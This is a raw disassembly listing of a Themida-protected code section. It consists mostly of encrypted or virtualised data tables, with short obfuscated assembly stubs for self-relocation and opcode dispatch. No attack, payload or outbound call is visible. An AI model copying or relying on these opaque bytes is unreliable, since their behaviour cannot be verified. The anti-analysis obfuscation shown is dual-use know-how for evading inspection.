		dd 16h,	0D8C35141h, 85897599h, 60B2479h, 531BD89h, 0EE80060Bh
		dd 0F883D6h, 0BA3840Fh,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0C7BC73C3h, 45F3EF73h
		dd 0F883BEBDh, 0B9850F01h, 6A000001h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0F17C350h
		dd 682h, 65B58900h, 0B8060B0Ch,	0
		dd 2ED58D01h, 0C00B060Bh, 0ED840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0E96E1CC3h
		dd 10h,	62DC1B9Ch, 0AEBA7C40h, 0E0997DF1h, 0F59ABE0Bh
		dd 0C1BD89h, 0F883060Bh, 0CC840F01h, 66000000h,	5225EBBBh
		dd 0BAA8BA56h, 5A5A7BAEh, 0F03F883h, 3F84h, 3D9D2900h
		dd 2B060B09h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 39B8AE23h, 44114CE8h, 0BD8D0A1Fh
		dd 5B7974h, 9361BB66h, 9D8BE7FFh, 60B0C41h, 1B8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 2BF7B62Dh, 7E0AF023h, 0BE92AACh, 0D5000000h,	5AA0DA9Ah
		dd 9D4E5BAFh, 0BB665F8Ch, 0BD8D8CB2h, 5B7974h, 2B02CABBh
		dd 7D958929h, 0FF060B17h, 0B1BD89E7h, 8D060B15h, 0B43FCBDh
		dd 4FE78006h, 2B2E9h, 39B58900h, 0F060B04h, 686h, 458D8900h
		dd 0C7060B09h, 0B4DCB85h, 506h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0B4F4AC50h
		dd 9D8B2CB7h, 60B029Dh,	10880Fh, 0BE90000h, 0A0000000h
		dd 1106ABF6h, 936DF13Eh, 5B8033Eh, 0F000000h, 1680h, 0BE800h
		dd 5D9F0000h, 154AB9BBh, 0AF4668FCh, 0B707BB17h, 0E95B35FEh
		dd 93Fh, 2A86BB66h, 0F02F883h, 10085h, 619D8B00h, 0B8060B1Ah
		dd 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 7BC35545h
		dd 0E9131450h, 9, 4D40991Dh, 0D80FEC60h, 0A173BAECh, 0C00B6085h
		dd 87840Fh, 0D08B0000h,	0F01F883h, 0FFFF3684h, 89DE8BFFh
		dd 0B244DB5h, 3F88306h,	0FEAE840Fh, 6AFFFFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0F5FAE5C3h
		dd 0CA5ED4D2h, 9D8B8722h, 60B2471h, 0B8h, 61958900h, 8D060B18h
		dd 5B7974BDh, 1AB56000h, 6AE7FF61h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 729BC356h
		dd 9749AB6Fh, 1B251ABh,	0B29ED95h, 0F4BD8D06h, 29060B45h
		dd 0B05B1BDh, 149E906h,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0BCCD4DC3h, 99E0D719h
		dd 3F883ADh, 21850Fh, 0BF0F0000h, 88BD8DD1h, 80060B47h
		dd 0CE906C3h, 29000001h, 0B19799Dh, 4890F06h, 66000000h
		dd 83637BBBh, 850F05F8h, 2Dh, 0E321C7BBh, 7F5E917h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0DA336BC3h, 0BF0F30EFh, 6F883D2h, 1F850Fh, 0BD890000h
		dd 60B0B09h, 4980BD8Dh,	0DA8B060Bh, 13F99D23h, 0A4E9060Bh
		dd 33000000h, 0B066995h, 7F88306h, 1D850Fh, 85890000h
		dd 60B0EC9h, 24BDBD8Dh,	952060Bh, 0B20998Dh, 49E95B06h
		dd 60000001h, 8361D18Bh, 850F0AF8h, 6Fh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 19h, 1C35646h, 397F0661h
		dd 85BD29D5h, 8D060B09h, 0B4B78BDh, 159D8B06h, 0E9060B0Dh
		dd 37h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch
		dd 7EC35646h, 1B55C854h, 470DC037h, 0EE9h, 0E6578D00h
		dd 0FA4E6Eh, 9DFBC2BCh,	57EDDF97h, 9E9h, 732D6000h, 0E5DA614Dh
		dd 0E2B9D8FCh, 6A3CEB60h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 6CC8C352h, 0D0695EE5h
		dd 7F5B2EC5h, 0DA816653h, 835B9CE0h, 840F003Fh,	56h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 42C35040h, 3E68A4CFh
		dd 0F306B8Ah, 0BAD88B66h, 643FC9BBh, 72BAC9D1h,	475686C2h
		dd 5587BA66h, 0FFFFBAE9h, 11E960FFh, 5000000h, 0B6B010A8h
		dd 0B1E4F51Ch, 28B76CF2h, 0C2DDED80h, 6A5F61FCh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 4C2C352h, 0DF4164FFh, 0E82F4857h, 0BD89D98Bh, 60B3235h
		dd 4D74BD89h, 0F98A060Bh, 16C58D8Dh, 6A060Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 971444C3h
		dd 8A0Fh, 0B5FF0000h, 60B2F4Dh,	0F9858DF9h, 50060DA5h
		dd 54E3BD8Dh, 8D8D060Bh, 60B703Bh, 831ABCB8h, 30CF2B54h
		dd 47C8D007h, 8DF87549h, 0B6FBAB5h, 538D8D06h, 2B060B70h
		dd 33A4F3CFh, 0B8C9h, 0C00B0000h, 0BD834674h, 60B2F21h
		dd 0FF067400h, 0B101D95h, 74B58B06h, 8D060B4Dh,	0DA5F985h
		dd 8DD0FF06h, 0B41D185h, 0C7D0FF06h, 0B067D85h,	106h, 2DA58B00h
		dd 8B060B10h, 0B2891B5h, 7DAD8B06h, 33060B21h, 0CC2C0h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0B6C35343h
		dd 0E85F2067h, 9, 0E795842Eh, 0C3FA63C6h, 91B58973h, 5A060B1Fh
		dd 9E9h, 7B5E6700h, 0A0EF4A5Bh,	0BF0FED99h, 21BD83DBh
		dd 60B00h, 4D840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0B03582C3h, 20CD6965h
		dd 0FFE78C45h, 0B05B595h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 85C2AECDh
		dd 83F96E7Fh, 0B1611BDh, 850F0006h, 17Ah, 17BB6652h, 8B665A7Dh
		dd 19BD83DAh, 1060B0Bh,	164850Fh, 8A0F0000h, 5,	8E38166h
		dd 3DBD8391h, 60B0Ch, 14C840Fh,	85890000h, 60B152Dh, 4DC7BD83h
		dd 0F00060Bh, 13984h, 0E5958B00h, 8D060B0Dh, 0DA5F985h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0C7544B8Fh, 0E9CD591Bh, 12h, 0C8DD43CBh
		dd 6DE6E444h, 0B09C02C2h, 0FB2A1BE2h, 0B58B0265h, 60B4D74h
		dd 9521BA66h, 0F8D0FFF8h, 284585C6h, 8B54060Bh,	0B0E1D9Dh
		dd 89DD6806h, 0DE8EA2Fh, 0DF000000h, 2566BA04h,	0E12C0CE6h
		dd 0F3E92115h, 5ADF8B56h, 2434815Ah, 15613729h,	1EC5958Bh
		dd 0B5FF060Bh, 60B0B01h, 8D90EA80h, 0B390D85h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 84E62DA5h, 8B66430Dh, 29D0FFD9h, 0B2A6985h, 60006A06h
		dd 13759D89h, 61F5060Bh, 9E8FF6Ah, 32000000h, 9DCFB18Bh
		dd 46D67603h, 12E8h, 0FC7B3900h, 0E9B2D496h, 0E642772Eh
		dd 9CAA3D23h, 80DCF3D8h, 5B5A42F7h, 6AD0FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 878EECC3h
		dd 59958B9Ch, 0FF060B23h, 0B0655B5h, 4D6FBA06h,	95FF578Ch
		dd 60B2F4Dh, 15158D89h,	0B58B060Bh, 60B4D74h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 35C35141h, 6C3DC529h
		dd 3413308h, 0B14E59Dh,	8B0FC306h, 5, 38C38166h, 0C5B58BF9h
		dd 66060B2Eh, 0F60BD68Bh, 66840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 8A5633C3h
		dd 0CFD9CB33h, 11E935h,	7A5D0000h, 93718E4Eh, 3402EA42h
		dd 0E5B0B5C8h, 0B6A21B1Ah, 6C695h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0F1C35141h,	7E9h, 10892300h
		dd 63B0236Bh, 4D7C8589h, 0C680060Bh, 159529C8h,	83060B05h
		dd 840F00F8h, 315h, 0AAD8D01h, 0B8060Bh, 80000000h, 0AE93BF2h
		dd 40000000h, 0C32A9319h, 3900823h, 0F883FBh, 0F5840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 3BE85EC3h, 0B70FEC55h, 2F883D1h, 97850Fh
		dd 0BD290000h, 60B0F11h, 43F7858Dh, 0EE9060Bh, 0D6000000h
		dd 2C0D0F47h, 9BD0FF50h, 0B661D1D6h, 2DD18B53h,	929h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 89C35646h, 0F79D9B6Dh
		dd 0D281C638h, 191DA617h, 0EE06BA66h, 0D98B6650h, 6A240489h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 746BC353h, 0CAB70F60h, 611AEA80h,	0C3DF8B66h
		dd 0D6816660h, 0F3B41731h, 68B0F61h, 3000000h, 0B29F59Dh
		dd 0B806h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0BD42ACC3h, 0B589E085h, 60B2039h
		dd 1FCE9h, 0B8D68B00h, 1, 0E1D1BA66h, 43FCBD8Dh, 9D2B060Bh
		dd 60B01D1h, 0BEE9h, 0E0BB6600h, 2F883D6h, 53850Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 8D3D7EC3h, 0B45F4BDh, 659D0306h, 0E9060B03h
		dd 83h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh
		dd 66C35747h, 0C498DFDCh, 0EB7C1F66h, 3F883ADh,	28850Fh
		dd 8A0F0000h, 0Bh, 5840Fh, 81660000h, 8D74F5DBh, 0B4788BDh
		dd 399D8906h, 0E9060B08h, 33h, 0AC9B589h, 0F883060Bh, 24850F05h
		dd 60000000h, 0D8CF8166h, 858D8BF9h, 61060B20h,	0B2E9h
		dd 0E9F08A00h, 0Bh, 12C9BD1Eh, 0FF9BD78Ah, 574C7475h, 0E19D8BFCh
		dd 0B9060B07h, 3CEB60E2h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0CAC35040h, 958BDE44h, 60B1685h, 15299D09h
		dd 3F83060Bh, 60840F00h, 3000000h, 0B2F499Dh, 0E80F3006h
		dd 11h,	18D99A4Ah, 8930CB3Ch, 3D1890D7h, 80547641h, 7E959h
		dd 97B20000h, 0F561AEAAh, 0C9D15A97h, 8147D78Bh, 0B7FFA7CBh
		dd 0E9D18B47h, 0FFFFFFBAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0A5C35747h, 0A18D8959h, 83060B29h, 850F05F8h
		dd 79h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh
		dd 5EC35747h, 0B7B5F995h, 0E9A9827Bh, 0Dh, 39E78E0Ch, 2D7A322Dh
		dd 0AC71B135h, 0D98C6627h, 31D58529h, 0C1F6060Bh, 1C850F04h
		dd 8B000000h, 0B067995h, 0B806h, 85890000h, 60B2981h, 1CE9h
		dd 0B5BD8900h, 8B060B06h, 0B188185h, 6880F06h, 89000000h
		dd 0B08A18Dh, 8BE0FF06h, 4DBD83D3h, 60B2Fh, 7F850Fh, 820F0000h
		dd 6, 12C59589h, 5050060Bh, 0FD08B52h, 0E4BA6631h, 89585A90h
		dd 66572404h, 178DEB81h, 4585C65Bh, 45060B28h, 1B099D23h
		dd 1068060Bh, 81E47A5Fh, 36792434h, 820F6A08h, 6, 322D8D89h
		dd 0B5FF060Bh, 60B0B01h, 858DD18Ah, 60B390Dh, 0E6A4B6BAh
		dd 0E9D0FF5Ah, 0Fh, 0C55C7E3Ah,	0B82F18F2h, 4B3D8A00h
		dd 89D3BE22h, 0B2F4D85h, 8958FC06h, 0B02A995h, 0CBBD8306h
		dd 60B4Dh, 56840Fh, 840F0000h, 23h, 12E8h, 7ACC5100h, 0AF49A07h
		dd 0FAD7A3AAh, 0BFCE4CCFh, 0E9E83E56h, 6, 0D41B1418h, 0FF5A2DE1h
		dd 0B0655B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0FF3D7688h, 0B2F4D95h, 0D6B70F06h
		dd 0F00F883h, 13185h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0D88BA1FDh, 899BD83h
		dd 0F00060Bh, 6D84h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 10E680FAh, 0FFDFB70Fh
		dd 0B0899B5h, 0B8E0B706h, 1, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0A0C35242h,	0F81ABE7h, 682h
		dd 0C5F38100h, 0FC4E63AEh, 262E9h, 78A0F00h, 50000000h
		dd 0CEDB8166h, 0B5FF5A0Fh, 60B0655h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 43C35646h, 21AB4772h, 0F09B589h
		dd 0B5FF060Bh, 60B0655h, 0B5FFF58Ah, 60B2F4Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 76C35141h, 0FE871015h
		dd 8CA502D5h, 0D178B860h, 840F4174h, 3,	611AC580h, 1E2E9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 7A45DE4Bh, 8A576566h, 0F5F5BF8h,	184h, 0BD83F800h
		dd 60B0BD9h, 34850F00h,	6A000001h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 2839C351h
		dd 6830F82h, 9000000h, 0B1659B5h, 2EBB6606h, 0C6FE8A4Eh
		dd 0B284585h, 0AE94D06h, 57000000h, 0A3A12D6Eh,	0A9046414h
		dd 1D8D0127h, 0E8060B21h, 4, 0A43576A8h, 50D18B66h, 0C628BB66h
		dd 424448Bh, 754FD7BBh,	50008B1Fh, 0FD98B52h, 11E95331h
		dd 76000000h, 192B45C9h, 676C82A4h, 2EF93C46h, 0E8BA0E07h
		dd 89585A5Ah, 0E8042444h, 8, 0AC1E37D9h, 0AAFF8A4Ah, 0A7D111BAh
		dd 6A585B41h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 2700C350h, 0EA757DF5h,	188D9D23h
		dd 0B5FF060Bh, 60B0315h, 43A569BAh, 0D858D4Fh, 6A060B39h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 4525C353h, 53AD2E7Fh, 0FE960h, 7360000h
		dd 77C683C6h, 914166Ah,	15F632D1h, 0CE816690h, 0FF615069h
		dd 0C58589D0h, 89060B15h, 0B0BD985h, 7E806h, 24290000h
		dd 16A046E3h, 0FB9DBB02h, 0B85A29D7h, 0
		dd 2DF19D89h, 0BD89060Bh, 60B4D74h, 1A4D8D09h, 0C00B060Bh
		dd 11840Fh, 0BD890000h,	60B0B4Dh, 4AE9h, 0DD952900h, 0FF060B21h
		dd 0B2F4DB5h, 958B5006h, 60B0C0Dh, 0F9858D5Bh, 80060DA5h
		dd 5050FFE7h, 12E852h, 0DF640000h, 0F942D090h, 0BEF92C04h
		dd 89D3CE78h, 24DE4860h, 24D0BB66h, 57310F5Bh, 5A5A46B2h
		dd 24048958h, 50D88B66h, 0E3BD8D56h, 8D060B54h,	0B7AA48Dh
		dd 23BCB806h, 0CF2B7483h, 0C8D00730h, 0F8754947h, 0BD83585Eh
		dd 60B0899h, 8B067400h,	0B03018Dh, 0B8C93306h, 0
		dd 840FC00Bh, 99h, 2F21BD83h, 7400060Bh, 1D95FF06h, 0B8060B10h
		dd 0
		dd 975C00Bh, 4D7CBD83h,	7401060Bh, 7CBD8309h, 2060B4Dh
		dd 0B58B0E75h, 60B4D74h, 0A5F9858Dh, 0D0FF060Dh, 41D1858Dh
		dd 0D0FF060Bh, 1FDDBD83h, 7502060Bh, 2DA58B2Fh,	8B060B10h
		dd 0B089985h, 24048906h, 67D85C7h, 1060Bh, 0B58B0000h
		dd 60B4D78h, 217DAD8Bh,	1B8060Bh, 0C2000000h, 0EB000Ch
		dd 67D85C7h, 1060Bh, 0A58B0000h, 60B102Dh, 2891B58Bh, 0AD8B060Bh
		dd 60B217Dh, 0CC2C033h,	21BD8300h, 60B00h, 0BD830F74h
		dd 60B05B5h, 0FF067400h, 0B05B595h, 74B58B06h, 0C3060B4Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 85C35141h
		dd 92BED3F5h, 8D896908h, 60B103Dh, 0BAF5h, 11E80000h, 0EC000000h
		dd 73609ADBh, 14B8E316h, 9DEE097Bh, 0B6C03AECh,	5BB8F8BAh
		db 77h,	5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_543C82
; ---------------------------------------------------------------------------

loc_543C80:				; CODE XREF: Themida_:00543C85j
		inc	eax
		inc	edi

loc_543C82:				; CODE XREF: Themida_:00543C7Ej
		cmp	byte ptr [edi],	0
		jnz	short loc_543C80
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_543CB1
; ---------------------------------------------------------------------------

loc_543C8E:				; CODE XREF: Themida_:00543CB3j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_543CA6
; ---------------------------------------------------------------------------

loc_543CA3:				; CODE XREF: Themida_:00543CA9j
		mul	ebx
		dec	esi

loc_543CA6:				; CODE XREF: Themida_:00543CA1j
		cmp	esi, 0
		ja	short loc_543CA3
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax

loc_543CB1:				; CODE XREF: Themida_:00543C8Cj
		or	eax, eax
		jnz	short loc_543C8E
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0Ch,	8DD79C37h, 403D9135h, 3D740481h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 18h, 40C35040h, 1ED8C1B4h
		dd 0C5ABBB66h, 0D5E9C18Bh, 2800021Fh, 34025900h, 3F005AB9h
		dd 68025900h, 12FFh, 26000000h,	26005ABEh, 46005ABEh, 2000002h
		dd 1000000h, 5000000h, 0A4000000h, 0FA48C0h, 4 dup(0)
		dd 53000000h, 88005470h, 1005460h, 0EB0054E0h, 40005470h
		dd 0EB0054E2h, 960054CAh, 0FC0054A6h, 0E8005481h, 0C00054F2h
		dd 910054AAh, 0C70054DDh, 0B600546Eh, 86005451h, 0BF0054B5h
		dd 9D0054CDh, 0B2005459h, 0D30054ECh, 0F00054C9h, 9D005483h
		dd 910054B5h, 9700548Fh, 0FD0054F5h, 9E005470h,	0FC005489h
		dd 0F9005441h, 7700546Ch, 83005498h, 0A1005448h, 680054CBh
		dd 0F80054C7h, 0C00054B4h, 490054BEh, 1A005445h, 0D50054DCh
		dd 0F400545Eh, 5A00548Ch, 0C8005484h, 0B3005442h, 0FA0054D7h
		dd 5E005472h, 5A0054E0h, 330054E6h, 0BE0054FDh,	54C2h
		dd 0D1005477h, 9F0054F1h, 6B005470h, 830054D9h,	690054EBh
		dd 6C0054EFh, 2A0054A8h, 0E70054BAh, 650054E3h,	83005484h
		dd 80054D6h, 6B005489h,	3B0054E6h, 0DD0054A2h, 7B0054B9h
		dd 0CB0054C2h, 48005457h, 32005440h, 0EC00547Dh, 0F0005441h
		dd 1E005478h, 0AA0054B0h, 0F80054DAh, 550054F9h, 0D10054F3h
		dd 72005466h, 0F60054A3h, 44005485h, 0CB0054D2h, 0A2005448h
		dd 70005444h, 0F900546Eh, 8C0054A4h, 62005474h,	0FA00547Ch
		dd 19005449h, 47005461h, 0C40054E7h, 8400548Bh,	9E005491h
		dd 660054A7h, 400054E0h, 0BD005473h, 77005449h,	6300547Fh
		dd 8500546Bh, 2D0054ECh, 0C5005495h, 0F2005441h, 5C00547Eh
		dd 0D0054BEh, 3D0054A3h, 6D005458h, 0A10054DBh,	0ED0054EAh
		dd 0F005462h, 94005482h, 750054F4h, 4F005466h, 0A9005448h
		dd 50054C4h, 70054A3h, 0CC00546Dh, 4F005467h, 30054C1h
		dd 0EE005449h, 210054FEh, 33005444h, 200054C1h,	6E0054DEh
		dd 0CF00544Eh, 0EE0054AEh, 5D00544Fh, 800548Ch,	0D00054CDh
		dd 27005463h, 33005453h, 0F0054A2h, 0E10054D9h,	540054CFh
		dd 8C00547Ah, 5800544Fh, 130054F1h, 9E0054A4h, 2B0054BFh
		dd 0D0005471h, 0B50054B1h, 0CF005479h, 18005451h, 9E005463h
		dd 990054CAh, 0D3005443h, 640054E3h, 320054B4h,	0AC0054CEh
		dd 22005464h, 4F005480h, 0BA005471h, 110054E9h,	210054B5h
		dd 0B20054E2h, 0D2005491h, 5500548Bh, 190054E7h, 350054BCh
		dd 84005475h, 0FC005486h, 750054A8h, 0DC00544Ch, 17005440h
		dd 7D0054DBh, 0DC005491h, 87005464h, 58005459h,	510054BBh
		dd 3E005473h, 9500546Dh, 6E005489h, 86005479h, 63005473h
		dd 52005440h, 3C005457h
		db 0D9h, 54h, 0
; ---------------------------------------------------------------------------

loc_543FDB:				; CODE XREF: Themida_:00566676j
					; Themida_:0057302Dj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 60B7F3Fh
		mov	eax, edi
		add	edi, 60B7C57h
		cmp	eax, [edi+2Ch]
		jnz	short loc_543FF9
		jmp	short loc_54400C
; ---------------------------------------------------------------------------

loc_543FF9:				; CODE XREF: Themida_:00543FF5j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_544008
; ---------------------------------------------------------------------------

loc_544003:				; CODE XREF: Themida_:0054400Aj
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_544008:				; CODE XREF: Themida_:00544001j
		or	ecx, ecx
		jnz	short loc_544003

loc_54400C:				; CODE XREF: Themida_:00543FF7j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_544019:				; CODE XREF: Themida_:00544020j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_544019

loc_544022:				; CODE XREF: Themida_:loc_5445D0j
					; Themida_:005448DEj ...
		lodsb
		jmp	loc_54C5EC
; ---------------------------------------------------------------------------
		dd 4C581h, 0BEE90000h
		db 7Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_544033:				; CODE XREF: Themida_:0054836Bj
		mov	ecx, [esp]
		add	esp, 4
		not	ecx
		push	edx
		mov	edx, 3B940625h
		inc	edx
		inc	edx
		jmp	loc_546312
; ---------------------------------------------------------------------------
		dd 24048B66h, 4EC8351h,	6CCCE9h
		db 0
; ---------------------------------------------------------------------------

loc_544055:				; CODE XREF: Themida_:00548ED1j
		mov	esp, [esp]
		jmp	loc_54B0DC
; ---------------------------------------------------------------------------
aAsK		db 'AéĊ',0
		dw 0AD00h
		dd 8904EC83h, 42BD242Ch, 813C4837h, 0B82A3AC5h,	8BE8293Ch
		dd 0C483242Ch, 793F2D04h, 922D1226h, 11D6F43h, 439205D8h
		dd 57E91D6Fh, 100005Eh,	0AE959C8h, 8100003Dh, 4C4h, 8BFE0100h
		dd 0E950243Ch, 5F6Ch
; ---------------------------------------------------------------------------

loc_5440AC:				; CODE XREF: Themida_:00544927j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	4FACh
		jmp	loc_5480BD
; ---------------------------------------------------------------------------
		dd 240CFF66h, 0FF5CE99Ch, 481FFFFh, 424h, 24048F00h, 4240481h
		dd 0E9000000h, 8494h, 240C8B66h, 28B2E9h
		db 0
; ---------------------------------------------------------------------------

loc_5440E5:				; CODE XREF: Themida_:0054773Dj
		pop	eax
		jmp	loc_544552
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C28108E2h, 3F1679BEh, 0E70DEA81h, 0D30163B7h, 8124148Bh
		dd 4C4h, 5431E900h, 0E7810000h,	2E0D5EBCh, 4EC81h, 34890000h
		dd 95D8E924h, 68570000h, 25A86264h, 4EAEE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54412A:				; CODE XREF: Themida_:0054947Bj
		and	ebp, 68681A2Fh
		add	ebp, 610C25C9h
		sub	ebp, 73186CE1h
		and	ebp, 2D7144ADh
		not	ebp
		sub	ebp, 4E44052Ch
		sub	ebp, 844ABA27h
		add	esi, ebp
		pop	ebp
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_54A337
		push	dword ptr [edi+1Ch]
		push	138Ah
		jmp	loc_54D949
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 4946601Ch, 0E959CF01h, 0B5E2h
; ---------------------------------------------------------------------------

loc_544188:				; CODE XREF: Themida_:0054EFB4j
		push	ebp
		jmp	loc_547BFA
; ---------------------------------------------------------------------------
		dw 0EE31h
		dd 5556D5F7h, 0DEF75D5Eh, 81FFC683h, 0FE1E62E6h, 64F68127h
		dd 126FA16h, 24348BF3h,	0E9E38953h, 5A91h, 56242C8Bh, 0C681E689h
		dd 4, 7358E9h, 48B6600h, 0E0895024h, 7D8EBA52h,	0C28150A5h
		dd 0AF5A8276h, 0D0E9D001h, 6600009Ch, 66240C89h, 0E9C8B60Fh
		dd 861Eh, 9D1C77FFh, 11665866h,	0E99C2404h, 192Ch, 0E951ADh
		dd 100001Fh, 0C18158C1h, 2, 31240C33h, 0C33240Ch, 223E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54421A:				; CODE XREF: Themida_:0054ABC8j
		sub	dl, 1Dh
		jmp	loc_54E4FF
; ---------------------------------------------------------------------------
		dw 805Ah
		dd 88523AC5h, 5AD088EAh, 81240C8Bh, 4C4h, 8BC33000h, 0C4812404h
		dd 4, 0D8007E04h, 0E95B7E2Ch, 0B014h, 4C681h, 0E9530000h
		dd 103Ah, 4B9h,	59CE0100h, 8B243487h, 4312424h,	0B3E99C24h
		dd 52FFFFFDh, 79ABB53h,	5C3175D1h, 0CBE90424h, 81000086h
		dd 0BF49B2F5h, 5DE92941h, 0B188C181h, 0C681027Eh, 7C3D5Fh
		dd 19ACEE81h, 0CE014142h, 8E09E9h, 242C8900h, 0B850E589h
		dd 8A939D0h, 2503E0C1h,	0B1B5E1Dh, 0F6B20405h, 5C85E9FEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5442BE:				; CODE XREF: Themida_:005493D5j
		pop	edx
		sub	[edi+24h], ebx
		pop	ebx
		jmp	loc_5480B7
; ---------------------------------------------------------------------------
aM0So3		db 'Ź0ŘéO3',0
		align 10h
		dd 4EC81h, 8F540000h, 82E92404h, 290000A4h, 1F8BE9FDh
		dd 0AF2C0000h, 0AF04E800h, 83240C8Bh, 0C38004C4h, 99A6E9A6h
		dd 3C890000h, 4EC8324h,	239868h, 24248900h, 4240483h, 8124048Fh
		dd 42404h, 34FF0000h, 0C4815F24h, 4, 4C781h, 0BE560000h
		dd 2, 335EF729h, 3C31243Ch, 243C3324h, 6624248Bh, 0E9240489h
		dd 0FFFFFCDEh, 2784B850h, 0C689316Dh, 5224048Bh, 46E9E289h
		dd 68000040h, 51DCh, 0FF240C89h, 59042474h, 3708E9h
		db 0
; ---------------------------------------------------------------------------

loc_544369:				; CODE XREF: Themida_:0054AFA0j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54CE11
; ---------------------------------------------------------------------------
		dd 81E38953h, 4C3h, 85B2E900h, 0E9C30000h, 0FFFFFC9Ah
		dd 2404875Bh, 2A0BE9h, 7E5C100h, 80C3E9h, 241CF600h, 0FC80E99Ch
		dd 1C31FFFFh, 241C3324h, 2434FF5Ch, 7CE2E9h, 0D0E4B900h
		dd 0ED817DBCh, 40215BCBh, 0C581CD01h, 40215BCBh, 5DEF8959h
		dd 536EEF81h, 0A2E929D3h, 68000084h, 25D8276Ch,	8124148Bh
